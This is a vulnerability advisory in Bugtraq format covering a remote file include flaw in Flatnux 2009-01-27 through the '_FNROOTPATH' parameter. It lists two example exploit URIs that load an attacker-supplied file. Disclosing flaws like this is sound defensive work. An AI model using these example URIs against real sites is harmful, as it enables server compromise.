Flatnux '_FNROOTPATH' Parameter Remote File Include Vulnerability

Bugtraq ID:	33599
Class:	Input Validation Error
CVE:	CVE-2009-0572
Remote:	Yes
Local:	No
Published:	Feb 03 2009 12:00AM
Updated:	Apr 13 2015 09:11PM
Credit:	Alfons Luja
Vulnerable:	Flatnux Flatnux 2009-01-27
Not Vulnerable:

Flatnux '_FNROOTPATH' Parameter Remote File Include Vulnerability

Flatnux is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Flatnux 2009-01-27 is vulnerable; other versions may also be affected.

Flatnux '_FNROOTPATH' Parameter Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/~flatnux/index.php?_FNROOTPATH=[EVIL]%00
http://www.example.com/~flatnux/filemanager.php?mod=&op=&dir=/&opmod=newfile&filemanager_editor=tfuj_stary&_FNROOTPATH=[EVIl]%OO

Flatnux '_FNROOTPATH' Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Flatnux '_FNROOTPATH' Parameter Remote File Include Vulnerability

References:

• flatnux Flatnux-2009-01-27 Remote File Include ([email protected])